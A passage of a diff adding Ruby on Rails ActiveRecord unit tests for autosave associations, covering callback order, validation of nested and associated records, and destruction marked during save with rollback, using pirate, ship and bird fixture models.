+    eye = Eye.create(iris_attributes: { color: "honey" })
+    assert_equal [true, false], eye.after_create_callbacks_stack
+  end
+
+  def test_callbacks_firing_order_on_update
+    eye = Eye.create(iris_attributes: { color: "honey" })
+    eye.update(iris_attributes: { color: "green" })
+    assert_equal [true, false], eye.after_update_callbacks_stack
+  end
+
+  def test_callbacks_firing_order_on_save
+    eye = Eye.create(iris_attributes: { color: "honey" })
+    assert_equal [false, false], eye.after_save_callbacks_stack
+
+    eye.update(iris_attributes: { color: "blue" })
+    assert_equal [false, false, false, false], eye.after_save_callbacks_stack
+  end
+end
+
+class TestDefaultAutosaveAssociationOnABelongsToAssociation < ActiveRecord::TestCase
+  fixtures :companies, :posts, :tags, :taggings
+
+  def test_should_save_parent_but_not_invalid_child
+    client = Client.new(name: "Joe (the Plumber)")
+    assert client.valid?
+
+    client.build_firm
+    assert !client.firm.valid?
+
+    assert client.save
+    assert !client.firm.persisted?
+  end
+
+  def test_save_fails_for_invalid_belongs_to
+    # Oracle saves empty string as NULL therefore :message changed to one space
+    assert log = AuditLog.create(developer_id: 0, message: " ")
+
+    log.developer = Developer.new
+    assert !log.developer.valid?
+    assert !log.valid?
+    assert !log.save
+    assert_equal ["is invalid"], log.errors["developer"]
+  end
+
+  def test_save_succeeds_for_invalid_belongs_to_with_validate_false
+    # Oracle saves empty string as NULL therefore :message changed to one space
+    assert log = AuditLog.create(developer_id: 0, message: " ")
+
+    log.unvalidated_developer = Developer.new
+    assert !log.unvalidated_developer.valid?
+    assert log.valid?
+    assert log.save
+  end
+
+  def test_assignment_before_parent_saved
+    client = Client.first
+    apple = Firm.new("name" => "Apple")
+    client.firm = apple
+    assert_equal apple, client.firm
+    assert !apple.persisted?
+    assert client.save
+    assert apple.save
+    assert apple.persisted?
+    assert_equal apple, client.firm
+    client.association(:firm).reload
+    assert_equal apple, client.firm
+  end
+
+  def test_assignment_before_either_saved
+    final_cut = Client.new("name" => "Final Cut")
+    apple = Firm.new("name" => "Apple")
+    final_cut.firm = apple
+    assert !final_cut.persisted?
+    assert !apple.persisted?
+    assert final_cut.save
+    assert final_cut.persisted?
+    assert apple.persisted?
+    assert_equal apple, final_cut.firm
+    final_cut.association(:firm).reload
+    assert_equal apple, final_cut.firm
+  end
+
+  def test_store_two_association_with_one_save
+    num_orders = Order.count
+    num_customers = Customer.count
+    order = Order.new
+
+    customer1 = order.billing = Customer.new
+    customer2 = order.shipping = Customer.new
+    assert order.save
+    assert_equal customer1, order.billing
+    assert_equal customer2, order.shipping
+
+    order.reload
+
+    assert_equal customer1, order.billing
+    assert_equal customer2, order.shipping
+
+    assert_equal num_orders + 1, Order.count
+    assert_equal num_customers + 2, Customer.count
+  end
+
+  def test_store_association_in_two_relations_with_one_save
+    num_orders = Order.count
+    num_customers = Customer.count
+    order = Order.new
+
+    customer = order.billing = order.shipping = Customer.new
+    assert order.save
+    assert_equal customer, order.billing
+    assert_equal customer, order.shipping
+
+    order.reload
+
+    assert_equal customer, order.billing
+    assert_equal customer, order.shipping
+
+    assert_equal num_orders + 1, Order.count
+    assert_equal num_customers + 1, Customer.count
+  end
+
+  def test_store_association_in_two_relations_with_one_save_in_existing_object
+    num_orders = Order.count
+    num_customers = Customer.count
+    order = Order.create
+
+    customer = order.billing = order.shipping = Customer.new
+    assert order.save
+    assert_equal customer, order.billing
+    assert_equal customer, order.shipping
+
+    order.reload
+
+    assert_equal customer, order.billing
+    assert_equal customer, order.shipping
+
+    assert_equal num_orders + 1, Order.count
+    assert_equal num_customers + 1, Customer.count
+  end
+
+  def test_store_association_in_two_relations_with_one_save_in_existing_object_with_values
+    num_orders = Order.count
+    num_customers = Customer.count
+    order = Order.create
+
+    customer = order.billing = order.shipping = Customer.new
+    assert order.save
+    assert_equal customer, order.billing
+    assert_equal customer, order.shipping
+
+    order.reload
+
+    customer = order.billing = order.shipping = Customer.new
+
+    assert order.save
+    order.reload
+
+    assert_equal customer, order.billing
+    assert_equal customer, order.shipping
+
+    assert_equal num_orders + 1, Order.count
+    assert_equal num_customers + 2, Customer.count
+  end
+
+  def test_store_association_with_a_polymorphic_relationship
+    num_tagging = Tagging.count
+    tags(:misc).create_tagging(taggable: posts(:thinking))
+    assert_equal num_tagging + 1, Tagging.count
+  end
+
+  def test_build_and_then_save_parent_should_not_reload_target
+    client = Client.first
+    apple = client.build_firm(name: "Apple")
+    client.save!
+    assert_no_queries { assert_equal apple, client.firm }
+  end
+
+  def test_validation_does_not_validate_stale_association_target
+    valid_developer   = Developer.create!(name: "Dude", salary: 50_000)
+    invalid_developer = Developer.new()
+
+    auditlog = AuditLog.new(message: "foo")
+    auditlog.developer    = invalid_developer
+    auditlog.developer_id = valid_developer.id
+
+    assert auditlog.valid?
+  end
+end
+
+class TestDefaultAutosaveAssociationOnAHasManyAssociationWithAcceptsNestedAttributes < ActiveRecord::TestCase
+  def test_invalid_adding_with_nested_attributes
+    molecule = Molecule.new
+    valid_electron = Electron.new(name: "electron")
+    invalid_electron = Electron.new
+
+    molecule.electrons = [valid_electron, invalid_electron]
+    molecule.save
+
+    assert_not invalid_electron.valid?
+    assert valid_electron.valid?
+    assert_not molecule.persisted?, "Molecule should not be persisted when its electrons are invalid"
+  end
+
+  def test_errors_should_be_indexed_when_passed_as_array
+    guitar = Guitar.new
+    tuning_peg_valid = TuningPeg.new
+    tuning_peg_valid.pitch = 440.0
+    tuning_peg_invalid = TuningPeg.new
+
+    guitar.tuning_pegs = [tuning_peg_valid, tuning_peg_invalid]
+
+    assert_not tuning_peg_invalid.valid?
+    assert tuning_peg_valid.valid?
+    assert_not guitar.valid?
+    assert_equal ["is not a number"], guitar.errors["tuning_pegs[1].pitch"]
+    assert_not_equal ["is not a number"], guitar.errors["tuning_pegs.pitch"]
+  end
+
+  def test_errors_should_be_indexed_when_global_flag_is_set
+    old_attribute_config = ActiveRecord::Base.index_nested_attribute_errors
+    ActiveRecord::Base.index_nested_attribute_errors = true
+
+    molecule = Molecule.new
+    valid_electron = Electron.new(name: "electron")
+    invalid_electron = Electron.new
+
+    molecule.electrons = [valid_electron, invalid_electron]
+
+    assert_not invalid_electron.valid?
+    assert valid_electron.valid?
+    assert_not molecule.valid?
+    assert_equal ["can't be blank"], molecule.errors["electrons[1].name"]
+    assert_not_equal ["can't be blank"], molecule.errors["electrons.name"]
+  ensure
+    ActiveRecord::Base.index_nested_attribute_errors = old_attribute_config
+  end
+
+  def test_errors_details_should_be_set
+    molecule = Molecule.new
+    valid_electron = Electron.new(name: "electron")
+    invalid_electron = Electron.new
+
+    molecule.electrons = [valid_electron, invalid_electron]
+
+    assert_not invalid_electron.valid?
+    assert valid_electron.valid?
+    assert_not molecule.valid?
+    assert_equal [{ error: :blank }], molecule.errors.details[:"electrons.name"]
+  end
+
+  def test_errors_details_should_be_indexed_when_passed_as_array
+    guitar = Guitar.new
+    tuning_peg_valid = TuningPeg.new
+    tuning_peg_valid.pitch = 440.0
+    tuning_peg_invalid = TuningPeg.new
+
+    guitar.tuning_pegs = [tuning_peg_valid, tuning_peg_invalid]
+
+    assert_not tuning_peg_invalid.valid?
+    assert tuning_peg_valid.valid?
+    assert_not guitar.valid?
+    assert_equal [{ error: :not_a_number, value: nil }], guitar.errors.details[:"tuning_pegs[1].pitch"]
+    assert_equal [], guitar.errors.details[:"tuning_pegs.pitch"]
+  end
+
+  def test_errors_details_should_be_indexed_when_global_flag_is_set
+    old_attribute_config = ActiveRecord::Base.index_nested_attribute_errors
+    ActiveRecord::Base.index_nested_attribute_errors = true
+
+    molecule = Molecule.new
+    valid_electron = Electron.new(name: "electron")
+    invalid_electron = Electron.new
+
+    molecule.electrons = [valid_electron, invalid_electron]
+
+    assert_not invalid_electron.valid?
+    assert valid_electron.valid?
+    assert_not molecule.valid?
+    assert_equal [{ error: :blank }], molecule.errors.details[:"electrons[1].name"]
+    assert_equal [], molecule.errors.details[:"electrons.name"]
+  ensure
+    ActiveRecord::Base.index_nested_attribute_errors = old_attribute_config
+  end
+
+  def test_valid_adding_with_nested_attributes
+    molecule = Molecule.new
+    valid_electron = Electron.new(name: "electron")
+
+    molecule.electrons = [valid_electron]
+    molecule.save
+
+    assert valid_electron.valid?
+    assert molecule.persisted?
+    assert_equal 1, molecule.electrons.count
+  end
+end
+
+class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCase
+  fixtures :companies, :people
+
+  def test_invalid_adding
+    firm = Firm.find(1)
+    assert !(firm.clients_of_firm << c = Client.new)
+    assert !c.persisted?
+    assert !firm.valid?
+    assert !firm.save
+    assert !c.persisted?
+  end
+
+  def test_invalid_adding_before_save
+    new_firm = Firm.new("name" => "A New Firm, Inc")
+    new_firm.clients_of_firm.concat([c = Client.new, Client.new("name" => "Apple")])
+    assert !c.persisted?
+    assert !c.valid?
+    assert !new_firm.valid?
+    assert !new_firm.save
+    assert !c.persisted?
+    assert !new_firm.persisted?
+  end
+
+  def test_invalid_adding_with_validate_false
+    firm = Firm.first
+    client = Client.new
+    firm.unvalidated_clients_of_firm << client
+
+    assert firm.valid?
+    assert !client.valid?
+    assert firm.save
+    assert !client.persisted?
+  end
+
+  def test_valid_adding_with_validate_false
+    no_of_clients = Client.count
+
+    firm = Firm.first
+    client = Client.new("name" => "Apple")
+
+    assert firm.valid?
+    assert client.valid?
+    assert !client.persisted?
+
+    firm.unvalidated_clients_of_firm << client
+
+    assert firm.save
+    assert client.persisted?
+    assert_equal no_of_clients + 1, Client.count
+  end
+
+  def test_invalid_build
+    new_client = companies(:first_firm).clients_of_firm.build
+    assert !new_client.persisted?
+    assert !new_client.valid?
+    assert_equal new_client, companies(:first_firm).clients_of_firm.last
+    assert !companies(:first_firm).save
+    assert !new_client.persisted?
+    assert_equal 2, companies(:first_firm).clients_of_firm.reload.size
+  end
+
+  def test_adding_before_save
+    no_of_firms = Firm.count
+    no_of_clients = Client.count
+
+    new_firm = Firm.new("name" => "A New Firm, Inc")
+    c = Client.new("name" => "Apple")
+
+    new_firm.clients_of_firm.push Client.new("name" => "Natural Company")
+    assert_equal 1, new_firm.clients_of_firm.size
+    new_firm.clients_of_firm << c
+    assert_equal 2, new_firm.clients_of_firm.size
+
+    assert_equal no_of_firms, Firm.count      # Firm was not saved to database.
+    assert_equal no_of_clients, Client.count  # Clients were not saved to database.
+    assert new_firm.save
+    assert new_firm.persisted?
+    assert c.persisted?
+    assert_equal new_firm, c.firm
+    assert_equal no_of_firms + 1, Firm.count      # Firm was saved to database.
+    assert_equal no_of_clients + 2, Client.count  # Clients were saved to database.
+
+    assert_equal 2, new_firm.clients_of_firm.size
+    assert_equal 2, new_firm.clients_of_firm.reload.size
+  end
+
+  def test_assign_ids
+    firm = Firm.new("name" => "Apple")
+    firm.client_ids = [companies(:first_client).id, companies(:second_client).id]
+    firm.save
+    firm.reload
+    assert_equal 2, firm.clients.length
+    assert_includes firm.clients, companies(:second_client)
+  end
+
+  def test_assign_ids_for_through_a_belongs_to
+    post = Post.new(title: "Assigning IDs works!", body: "You heard it here first, folks!")
+    post.person_ids = [people(:david).id, people(:michael).id]
+    post.save
+    post.reload
+    assert_equal 2, post.people.length
+    assert_includes post.people, people(:david)
+  end
+
+  def test_build_before_save
+    company = companies(:first_firm)
+    new_client = assert_no_queries(ignore_none: false) { company.clients_of_firm.build("name" => "Another Client") }
+    assert !company.clients_of_firm.loaded?
+
+    company.name += "-changed"
+    assert_queries(2) { assert company.save }
+    assert new_client.persisted?
+    assert_equal 3, company.clients_of_firm.reload.size
+  end
+
+  def test_build_many_before_save
+    company = companies(:first_firm)
+    assert_no_queries(ignore_none: false) { company.clients_of_firm.build([{ "name" => "Another Client" }, { "name" => "Another Client II" }]) }
+
+    company.name += "-changed"
+    assert_queries(3) { assert company.save }
+    assert_equal 4, company.clients_of_firm.reload.size
+  end
+
+  def test_build_via_block_before_save
+    company = companies(:first_firm)
+    new_client = assert_no_queries(ignore_none: false) { company.clients_of_firm.build { |client| client.name = "Another Client" } }
+    assert !company.clients_of_firm.loaded?
+
+    company.name += "-changed"
+    assert_queries(2) { assert company.save }
+    assert new_client.persisted?
+    assert_equal 3, company.clients_of_firm.reload.size
+  end
+
+  def test_build_many_via_block_before_save
+    company = companies(:first_firm)
+    assert_no_queries(ignore_none: false) do
+      company.clients_of_firm.build([{ "name" => "Another Client" }, { "name" => "Another Client II" }]) do |client|
+        client.name = "changed"
+      end
+    end
+
+    company.name += "-changed"
+    assert_queries(3) { assert company.save }
+    assert_equal 4, company.clients_of_firm.reload.size
+  end
+
+  def test_replace_on_new_object
+    firm = Firm.new("name" => "New Firm")
+    firm.clients = [companies(:second_client), Client.new("name" => "New Client")]
+    assert firm.save
+    firm.reload
+    assert_equal 2, firm.clients.length
+    assert_includes firm.clients, Client.find_by_name("New Client")
+  end
+end
+
+class TestDefaultAutosaveAssociationOnNewRecord < ActiveRecord::TestCase
+  def test_autosave_new_record_on_belongs_to_can_be_disabled_per_relationship
+    new_account = Account.new("credit_limit" => 1000)
+    new_firm = Firm.new("name" => "some firm")
+
+    assert !new_firm.persisted?
+    new_account.firm = new_firm
+    new_account.save!
+
+    assert new_firm.persisted?
+
+    new_account = Account.new("credit_limit" => 1000)
+    new_autosaved_firm = Firm.new("name" => "some firm")
+
+    assert !new_autosaved_firm.persisted?
+    new_account.unautosaved_firm = new_autosaved_firm
+    new_account.save!
+
+    assert !new_autosaved_firm.persisted?
+  end
+
+  def test_autosave_new_record_on_has_one_can_be_disabled_per_relationship
+    firm = Firm.new("name" => "some firm")
+    account = Account.new("credit_limit" => 1000)
+
+    assert !account.persisted?
+    firm.account = account
+    firm.save!
+
+    assert account.persisted?
+
+    firm = Firm.new("name" => "some firm")
+    account = Account.new("credit_limit" => 1000)
+
+    firm.unautosaved_account = account
+
+    assert !account.persisted?
+    firm.unautosaved_account = account
+    firm.save!
+
+    assert !account.persisted?
+  end
+
+  def test_autosave_new_record_on_has_many_can_be_disabled_per_relationship
+    firm = Firm.new("name" => "some firm")
+    account = Account.new("credit_limit" => 1000)
+
+    assert !account.persisted?
+    firm.accounts << account
+
+    firm.save!
+    assert account.persisted?
+
+    firm = Firm.new("name" => "some firm")
+    account = Account.new("credit_limit" => 1000)
+
+    assert !account.persisted?
+    firm.unautosaved_accounts << account
+
+    firm.save!
+    assert !account.persisted?
+  end
+
+  def test_autosave_new_record_with_after_create_callback
+    post = PostWithAfterCreateCallback.new(title: "Captain Murphy", body: "is back")
+    post.comments.build(body: "foo")
+    post.save!
+
+    assert_not_nil post.author_id
+  end
+end
+
+class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+
+  setup do
+    @pirate = Pirate.create(catchphrase: "Don' botharrr talkin' like one, savvy?")
+    @ship = @pirate.create_ship(name: "Nights Dirty Lightning")
+  end
+
+  teardown do
+    # We are running without transactional tests and need to cleanup.
+    Bird.delete_all
+    Parrot.delete_all
+    @ship.delete
+    @pirate.delete
+  end
+
+  # reload
+  def test_a_marked_for_destruction_record_should_not_be_be_marked_after_reload
+    @pirate.mark_for_destruction
+    @pirate.ship.mark_for_destruction
+
+    assert !@pirate.reload.marked_for_destruction?
+    assert !@pirate.ship.reload.marked_for_destruction?
+  end
+
+  # has_one
+  def test_should_destroy_a_child_association_as_part_of_the_save_transaction_if_it_was_marked_for_destruction
+    assert !@pirate.ship.marked_for_destruction?
+
+    @pirate.ship.mark_for_destruction
+    id = @pirate.ship.id
+
+    assert @pirate.ship.marked_for_destruction?
+    assert Ship.find_by_id(id)
+
+    @pirate.save
+    assert_nil @pirate.reload.ship
+    assert_nil Ship.find_by_id(id)
+  end
+
+  def test_should_skip_validation_on_a_child_association_if_marked_for_destruction
+    @pirate.ship.name = ""
+    assert !@pirate.valid?
+
+    @pirate.ship.mark_for_destruction
+    @pirate.ship.expects(:valid?).never
+    assert_difference("Ship.count", -1) { @pirate.save! }
+  end
+
+  def test_a_child_marked_for_destruction_should_not_be_destroyed_twice
+    @pirate.ship.mark_for_destruction
+    assert @pirate.save
+    class << @pirate.ship
+      def destroy; raise "Should not be called" end
+    end
+    assert @pirate.save
+  end
+
+  def test_should_rollback_destructions_if_an_exception_occurred_while_saving_a_child
+    # Stub the save method of the @pirate.ship instance to destroy and then raise an exception
+    class << @pirate.ship
+      def save(*args)
+        super
+        destroy
+        raise "Oh noes!"
+      end
+    end
+
+    @ship.pirate.catchphrase = "Changed Catchphrase"
+    @ship.name_will_change!
+
+    assert_raise(RuntimeError) { assert !@pirate.save }
+    assert_not_nil @pirate.reload.ship
+  end
+
+  def test_should_save_changed_has_one_changed_object_if_child_is_saved
+    @pirate.ship.name = "NewName"
+    assert @pirate.save
+    assert_equal "NewName", @pirate.ship.reload.name
+  end
+
+  def test_should_not_save_changed_has_one_unchanged_object_if_child_is_saved
+    @pirate.ship.expects(:save).never
+    assert @pirate.save
+  end
+
+  # belongs_to
+  def test_should_destroy_a_parent_association_as_part_of_the_save_transaction_if_it_was_marked_for_destruction
+    assert !@ship.pirate.marked_for_destruction?
+
+    @ship.pirate.mark_for_destruction
+    id = @ship.pirate.id
+
+    assert @ship.pirate.marked_for_destruction?
+    assert Pirate.find_by_id(id)
+
+    @ship.save
+    assert_nil @ship.reload.pirate
+    assert_nil Pirate.find_by_id(id)
+  end
+
+  def test_should_skip_validation_on_a_parent_association_if_marked_for_destruction
+    @ship.pirate.catchphrase = ""
+    assert !@ship.valid?
+
+    @ship.pirate.mark_for_destruction
+    @ship.pirate.expects(:valid?).never
+    assert_difference("Pirate.count", -1) { @ship.save! }
+  end
+
+  def test_a_parent_marked_for_destruction_should_not_be_destroyed_twice
+    @ship.pirate.mark_for_destruction
+    assert @ship.save
+    class << @ship.pirate
+      def destroy; raise "Should not be called" end
+    end
+    assert @ship.save
+  end
+
+  def test_should_rollback_destructions_if_an_exception_occurred_while_saving_a_parent
+    # Stub the save method of the @ship.pirate instance to destroy and then raise an exception
+    class << @ship.pirate
+      def save(*args)
+        super
+        destroy
+        raise "Oh noes!"
+      end
+    end
+
+    @ship.pirate.catchphrase = "Changed Catchphrase"
+
+    assert_raise(RuntimeError) { assert !@ship.save }
+    assert_not_nil @ship.reload.pirate
+  end
+
+  def test_should_save_changed_child_objects_if_parent_is_saved
+    @pirate = @ship.create_pirate(catchphrase: "Don' botharrr talkin' like one, savvy?")
+    @parrot = @pirate.parrots.create!(name: "Posideons Killer")
+    @parrot.name = "NewName"
+    @ship.save
+
+    assert_equal "NewName", @parrot.reload.name
+  end
+
+  def test_should_destroy_has_many_as_part_of_the_save_transaction_if_they_were_marked_for_destruction
+    2.times { |i| @pirate.birds.create!(name: "birds_#{i}") }
+
+    assert !@pirate.birds.any?(&:marked_for_destruction?)
+
+    @pirate.birds.each(&:mark_for_destruction)
+    klass = @pirate.birds.first.class
+    ids = @pirate.birds.map(&:id)
+
+    assert @pirate.birds.all?(&:marked_for_destruction?)
+    ids.each { |id| assert klass.find_by_id(id) }
+
+    @pirate.save
+    assert @pirate.reload.birds.empty?
+    ids.each { |id| assert_nil klass.find_by_id(id) }
+  end
+
+  def test_should_not_resave_destroyed_association
+    @pirate.birds.create!(name: :parrot)
+    @pirate.birds.first.destroy
+    @pirate.save!
+    assert @pirate.reload.birds.empty?
+  end
+
+  def test_should_skip_validation_on_has_many_if_marked_for_destruction
+    2.times { |i| @pirate.birds.create!(name: "birds_#{i}") }
+
+    @pirate.birds.each { |bird| bird.name = "" }
+    assert !@pirate.valid?
+
+    @pirate.birds.each do |bird|
+      bird.mark_for_destruction
+      bird.expects(:valid?).never
+    end
+    assert_difference("Bird.count", -2) { @pirate.save! }
+  end
+
+  def test_should_skip_validation_on_has_many_if_destroyed
+    @pirate.birds.create!(name: "birds_1")
+
+    @pirate.birds.each { |bird| bird.name = "" }
+    assert !@pirate.valid?
+
+    @pirate.birds.each(&:destroy)
+    assert @pirate.valid?
+  end
+
+  def test_a_child_marked_for_destruction_should_not_be_destroyed_twice_while_saving_has_many
+    @pirate.birds.create!(name: "birds_1")
+
+    @pirate.birds.each(&:mark_for_destruction)
+    assert @pirate.save
+
+    @pirate.birds.each { |bird| bird.expects(:destroy).never }
+    assert @pirate.save
+  end
+
+  def test_should_rollback_destructions_if_an_exception_occurred_while_saving_has_many
+    2.times { |i| @pirate.birds.create!(name: "birds_#{i}") }
+    before = @pirate.birds.map { |c| c.mark_for_destruction ; c }
+
+    # Stub the destroy method of the second child to raise an exception
+    class << before.last
+      def destroy(*args)
+        super
+        raise "Oh noes!"
+      end
+    end
+
+    assert_raise(RuntimeError) { assert !@pirate.save }
+    assert_equal before, @pirate.reload.birds
+  end
+
+  def test_when_new_record_a_child_marked_for_destruction_should_not_affect_other_records_from_saving
+    @pirate = @ship.build_pirate(catchphrase: "Arr' now I shall keep me eye on you matey!") # new record
+
+    3.times { |i| @pirate.birds.build(name: "birds_#{i}") }
+    @pirate.birds[1].mark_for_destruction
+    @pirate.save!
+
+    assert_equal 2, @pirate.birds.reload.length
+  end
+
+  def test_should_save_new_record_that_has_same_value_as_existing_record_marked_for_destruction_on_field_that_has_unique_index
+    Bird.connection.add_index :birds, :name, unique: true
+
+    3.times { |i| @pirate.birds.create(name: "unique_birds_#{i}") }
+
+    @pirate.birds[0].mark_for_destruction
+    @pirate.birds.build(name: @pirate.birds[0].name)
+    @pirate.save!
+
+    assert_equal 3, @pirate.birds.reload.length
+  ensure
+    Bird.connection.remove_index :birds, column: :name
+  end
+
+  # Add and remove callbacks tests for association collections.
+  %w{ method proc }.each do |callback_type|
+    define_method("test_should_run_add_callback_#{callback_type}s_for_has_many") do
+      association_name_with_callbacks = "birds_with_#{callback_type}_callbacks"
+
+      pirate = Pirate.new(catchphrase: "Arr")
+      pirate.send(association_name_with_callbacks).build(name: "Crowe the One-Eyed")
+
+      expected = [
+        "before_adding_#{callback_type}_bird_<new>",
+        "after_adding_#{callback_type}_bird_<new>"
+      ]
+
+      assert_equal expected, pirate.ship_log
+    end
+
+    define_method("test_should_run_remove_callback_#{callback_type}s_for_has_many") do
+      association_name_with_callbacks = "birds_with_#{callback_type}_callbacks"
+
+      @pirate.send(association_name_with_callbacks).create!(name: "Crowe the One-Eyed")
+      @pirate.send(association_name_with_callbacks).each(&:mark_for_destruction)
+      child_id = @pirate.send(association_name_with_callbacks).first.id
+
+      @pirate.ship_log.clear
+      @pirate.save
+
+      expected = [
+        "before_removing_#{callback_type}_bird_#{child_id}",
+        "after_removing_#{callback_type}_bird_#{child_id}"
+      ]
+
+      assert_equal expected, @pirate.ship_log
+    end
+  end
+
+  def test_should_destroy_habtm_as_part_of_the_save_transaction_if_they_were_marked_for_destruction
+    2.times { |i| @pirate.parrots.create!(name: "parrots_#{i}") }
+
+    assert !@pirate.parrots.any?(&:marked_for_destruction?)
+    @pirate.parrots.each(&:mark_for_destruction)
+
+    assert_no_difference "Parrot.count" do
+      @pirate.save
+    end
+
+    assert @pirate.reload.parrots.empty?
+
+    join_records = Pirate.connection.select_all("SELECT * FROM parrots_pirates WHERE pirate_id = #{@pirate.id}")
+    assert join_records.empty?
+  end
+
+  def test_should_skip_validation_on_habtm_if_marked_for_destruction
+    2.times { |i| @pirate.parrots.create!(name: "parrots_#{i}") }
+
+    @pirate.parrots.each { |parrot| parrot.name = "" }
+    assert !@pirate.valid?
+
+    @pirate.parrots.each do |parrot|
+      parrot.mark_for_destruction
+      parrot.expects(:valid?).never
+    end
+
+    @pirate.save!
+    assert @pirate.reload.parrots.empty?
+  end
+
+  def test_should_skip_validation_on_habtm_if_destroyed
+    @pirate.parrots.create!(name: "parrots_1")
+
+    @pirate.parrots.each { |parrot| parrot.name = "" }
+    assert !@pirate.valid?
+
+    @pirate.parrots.each(&:destroy)
+    assert @pirate.valid?
+  end
+
+  def test_a_child_marked_for_destruction_should_not_be_destroyed_twice_while_saving_habtm
+    @pirate.parrots.create!(name: "parrots_1")
+
+    @pirate.parrots.each(&:mark_for_destruction)
+    assert @pirate.save
+
+    Pirate.transaction do
+      assert_queries(0) do
+        assert @pirate.save
+      end
+    end
+  end
+
+  def test_should_rollback_destructions_if_an_exception_occurred_while_saving_habtm
+    2.times { |i| @pirate.parrots.create!(name: "parrots_#{i}") }
+    before = @pirate.parrots.map { |c| c.mark_for_destruction ; c }
+
+    class << @pirate.association(:parrots)
+      def destroy(*args)
+        super
+        raise "Oh noes!"
+      end
+    end
+
+    assert_raise(RuntimeError) { assert !@pirate.save }
+    assert_equal before, @pirate.reload.parrots
+  end
+
+  # Add and remove callbacks tests for association collections.
+  %w{ method proc }.each do |callback_type|
+    define_method("test_should_run_add_callback_#{callback_type}s_for_habtm") do
+      association_name_with_callbacks = "parrots_with_#{callback_type}_callbacks"
+
+      pirate = Pirate.new(catchphrase: "Arr")
+      pirate.send(association_name_with_callbacks).build(name: "Crowe the One-Eyed")
+
+      expected = [
+        "before_adding_#{callback_type}_parrot_<new>",
+        "after_adding_#{callback_type}_parrot_<new>"
+      ]
+
+      assert_equal expected, pirate.ship_log
+    end
+
+    define_method("test_should_run_remove_callback_#{callback_type}s_for_habtm") do
+      association_name_with_callbacks = "parrots_with_#{callback_type}_callbacks"
+
+      @pirate.send(association_name_with_callbacks).create!(name: "Crowe the One-Eyed")
+      @pirate.send(association_name_with_callbacks).each(&:mark_for_destruction)
+      child_id = @pirate.send(association_name_with_callbacks).first.id
+
+      @pirate.ship_log.clear
+      @pirate.save
+
+      expected = [
+        "before_removing_#{callback_type}_parrot_#{child_id}",
+        "after_removing_#{callback_type}_parrot_#{child_id}"
+      ]
+
+      assert_equal expected, @pirate.ship_log
+    end
+  end
+end
+
+class TestAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCase
+  self.use_transactional_tests = false unless supports_savepoints?
+
+  def setup
+    super
+    @pirate = Pirate.create(catchphrase: "Don' botharrr talkin' like one, savvy?")
+    @ship = @pirate.create_ship(name: "Nights Dirty Lightning")
+  end
+
+  def test_should_still_work_without_an_associated_model
+    @ship.destroy
+    @pirate.reload.catchphrase = "Arr"
+    @pirate.save
+    assert_equal "Arr", @pirate.reload.catchphrase
+  end
+
+  def test_should_automatically_save_the_associated_model
+    @pirate.ship.name = "The Vile Insanity"
+    @pirate.save
+    assert_equal "The Vile Insanity", @pirate.reload.ship.name
+  end
+
+  def test_changed_for_autosave_should_handle_cycles
+    @ship.pirate = @pirate
+    assert_queries(0) { @ship.save! }
+
+    @parrot = @pirate.parrots.create(name: "some_name")
+    @parrot.name = "changed_name"
+    assert_queries(1) { @ship.save! }
+    assert_queries(0) { @ship.save! }
+  end
+
+  def test_should_automatically_save_bang_the_associated_model
+    @pirate.ship.name = "The Vile Insanity"
+    @pirate.save!
+    assert_equal "The Vile Insanity", @pirate.reload.ship.name
+  end
+
+  def test_should_automatically_validate_the_associated_model
+    @pirate.ship.name = ""
+    assert @pirate.invalid?
+    assert @pirate.errors[:"ship.name"].any?
+  end
+
+  def test_should_merge_errors_on_the_associated_models_onto_the_parent_even_if_it_is_not_valid
+    @pirate.ship.name   = nil
+    @pirate.catchphrase = nil
+    assert @pirate.invalid?
+    assert @pirate.errors[:"ship.name"].any?
+    assert @pirate.errors[:catchphrase].any?
+  end
+
+  def test_should_not_ignore_different_error_messages_on_the_same_attribute
+    old_validators = Ship._validators.deep_dup
+    old_callbacks = Ship._validate_callbacks.deep_dup
+    Ship.validates_format_of :name, with: /\w/
+    @pirate.ship.name   = ""
+    @pirate.catchphrase = nil
+    assert @pirate.invalid?
+    assert_equal ["can't be blank", "is invalid"], @pirate.errors[:"ship.name"]
+  ensure
+    Ship._validators = old_validators if old_validators
+    Ship._validate_callbacks = old_callbacks if old_callbacks
+  end
+
+  def test_should_still_allow_to_bypass_validations_on_the_associated_model
+    @pirate.catchphrase = ""
+    @pirate.ship.name = ""
+    @pirate.save(validate: false)
+    # Oracle saves empty string as NULL
+    if current_adapter?(:OracleAdapter)
+      assert_equal [nil, nil], [@pirate.reload.catchphrase, @pirate.ship.name]
+    else
+      assert_equal ["", ""], [@pirate.reload.catchphrase, @pirate.ship.name]
+    end
+  end
+
+  def test_should_allow_to_bypass_validations_on_associated_models_at_any_depth
+    2.times { |i| @pirate.ship.parts.create!(name: "part #{i}") }
+
+    @pirate.catchphrase = ""
+    @pirate.ship.name = ""
+    @pirate.ship.parts.each { |part| part.name = "" }
+    @pirate.save(validate: false)
+
+    values = [@pirate.reload.catchphrase, @pirate.ship.name, *@pirate.ship.parts.map(&:name)]
+    # Oracle saves empty string as NULL
+    if current_adapter?(:OracleAdapter)
+      assert_equal [nil, nil, nil, nil], values
+    else
+      assert_equal ["", "", "", ""], values
+    end
+  end
+
+  def test_should_still_raise_an_ActiveRecordRecord_Invalid_exception_if_we_want_that
+    @pirate.ship.name = ""
+    assert_raise(ActiveRecord::RecordInvalid) do
+      @pirate.save!
+    end
+  end
+
+  def test_should_not_save_and_return_false_if_a_callback_cancelled_saving
+    pirate = Pirate.new(catchphrase: "Arr")
+    ship = pirate.build_ship(name: "The Vile Insanity")
+    ship.cancel_save_from_callback = true
+
+    assert_no_difference "Pirate.count" do
+      assert_no_difference "Ship.count" do
+        assert !pirate.save
+      end
+    end
+  end
+
+  def test_should_rollback_any_changes_if_an_exception_occurred_while_saving
+    before = [@pirate.catchphrase, @pirate.ship.name]
+
+    @pirate.catchphrase = "Arr"
+    @pirate.ship.name = "The Vile Insanity"
+
+    # Stub the save method of the @pirate.ship instance to raise an exception
+    class << @pirate.ship
+      def save(*args)
+        super
+        raise "Oh noes!"
+      end
+    end
+
+    assert_raise(RuntimeError) { assert !@pirate.save }
+    assert_equal before, [@pirate.reload.catchphrase, @pirate.ship.name]
+  end
+
+  def test_should_not_load_the_associated_model
